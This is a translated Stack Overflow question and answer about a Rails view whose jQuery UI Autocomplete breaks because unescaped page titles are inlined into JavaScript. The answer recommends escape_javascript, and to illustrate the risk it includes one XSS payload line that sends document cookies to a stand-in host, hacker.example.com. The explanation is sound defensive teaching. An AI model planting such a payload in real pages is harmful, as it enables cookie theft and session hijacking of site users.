【问题标题】:Ordering input by DESC breaks jQuery UI Autocomplete通过 DESC 排序输入会破坏 jQuery UI 自动完成
【发布时间】:2016-01-21 10:12:46
【问题描述】:

我正在尝试将表 Page 输入到 jQuery UI 自动完成中。如果我用Page.order('id ASC') 输入它,它工作得很好,但如果我用Page.order('id DESC') 输入它它会中断,即使这条线

Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")

在我的 Rails 控制台中无错误地执行。它甚至破坏了同一页面下的另一个 jQuery UI 自动完成功能,所以我认为 jQuery 本身一定是失败的。

它还可以在我的页面源中两次无错误地打印。

有人知道为什么它在这种情况下会失败吗?

  <head>
    <meta charset="utf-8">
    <title>jQuery UI Autocomplete - Multiple values</title>
    <link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css">
    <script src="//code.jquery.com/jquery-1.10.2.js"></script>
    <script src="//code.jquery.com/ui/1.11.1/jquery-ui.js"></script>
    <link rel="stylesheet" href="/resources/demos/style.css">
    <script>
    $(function() {
      var availableTags = [
        <%= raw(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")) %>
      ];
      function split( val ) {
        return val.split( /,\s*/ );
      }
      function extractLast( term ) {
        return split( term ).pop();
      }

      $( "#pages" )
        // don't navigate away from the field on tab when selecting an item
        .bind( "keydown", function( event ) {
          if ( event.keyCode === $.ui.keyCode.TAB &&
              $( this ).autocomplete( "instance" ).menu.active ) {
            event.preventDefault();
          }
        })
        .autocomplete({
          minLength: 0,
          source: function( request, response ) {
            // delegate back to autocomplete, but extract the last term
            response( $.ui.autocomplete.filter(
              availableTags, extractLast( request.term ) ) );
          },
          focus: function() {
            // prevent value inserted on focus
            return false;
          },
          select: function( event, ui ) {
            var terms = split( this.value );
            // remove the current input
            terms.pop();
            // add the selected item
            terms.push( ui.item.value );
            // add placeholder to get the comma-and-space at the end
            terms.push( "" );
            this.value = terms.join( ", " );
            return false;
          }
        });
    });
    </script>
  </head>

  <div class="ui-widget">
    <textarea id="pages" name="pages" size="50"></textarea>
  </div><br>

【问题讨论】:

  • 您是否检查过 Ruby 代码实际输出的内容,以及浏览器控制台中是否有任何错误?
  • @RoryMcCrossan 控制台中没有错误。如何检查浏览器中实际输出的内容?当我在终端控制台中运行代码时,输​​出是正常的。
  • @JeffCaros 在浏览器中查看源代码
  • @RoryMcCrossan 两种方式在我的页面源中都无错误地打印,所以一定是 jQuery 失败了。
  • @jcuenod 在我的页面源代码中它以两种方式打印都没有错误,所以它一定是 jQuery 失败了。

标签: javascript jquery ruby-on-rails jquery-ui autocomplete


【解决方案1】:

您的数据库中是否有超过 1000 条 Page 记录?您可能正在选择一组不同的页面,其中一个页面的标题可能类似于

How to use "quotation" marks

Tabs    slashes \\\ & special characters @%*(!@#?

或者更糟

"]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>

这些将直接插入到您的 JS 中,例如:

$(function() {
  var availableTags = [
    "How to use "quotation" marks",
    "Tabs    slashes \\\ & special characters @%*(!@#?",
    ""]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>"
  ];
...

所有这些都是坏的。前两个可能会破坏脚本,因为在字符串中间不允许使用引号和斜杠之类的内容,除非正确转义为 \"\\

Rails 提供了一个名为escape_javascript 的便捷函数,也称为j,您可以使用它来转义JavaScript 代码。例如。 data = "&lt;%=j 'a"b"c' %&gt;"; 将输出data = "a\"b\"c";

我会更新您的循环,生成 availableTags 数组以使用此方法:

var availableTags = [
  <%= safe_join(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{escape_javascript(name)}\"".html_safe }, ",\n") %>
  ];

【讨论】:

  • 难以置信。我一辈子都找不到这个冒犯性的标题,但你是绝对正确的!谢谢!
猜你喜欢
  • 1970-01-01
  • 2019-10-11
  • 1970-01-01
  • 1970-01-01
  • 2013-08-28
  • 2020-09-23
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多